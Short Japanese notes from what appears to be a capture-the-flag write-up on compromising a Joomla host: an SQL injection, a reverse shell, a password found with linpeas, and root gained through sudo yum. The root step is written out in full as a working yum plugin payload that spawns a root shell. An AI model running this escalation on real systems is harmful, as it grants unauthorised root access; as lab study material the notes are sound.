user.txt
- Joomla! というのが動いてる
- searchsploit で SQLi がヒットする
- Joomla にログイン
- リバースシェル
- apache としてログイン,権限がなく user.txt が見れない
- linpeas.sh でパスワードが露出していることが分かる(どういう仕組みなんだこれ)
su jjameson
root
- yum が使えるらしい
- rpm ロードをやろうとしたが fpm が使えず断念
TF=$(mktemp -d)
cat >$TF/x<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF
cat >$TF/y.conf<<EOF
[main]
enabled=1
EOF
cat >$TF/y.py<<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
os.execl('/bin/sh','/bin/sh')
EOF
sudo yum -c $TF/x --enableplugin=y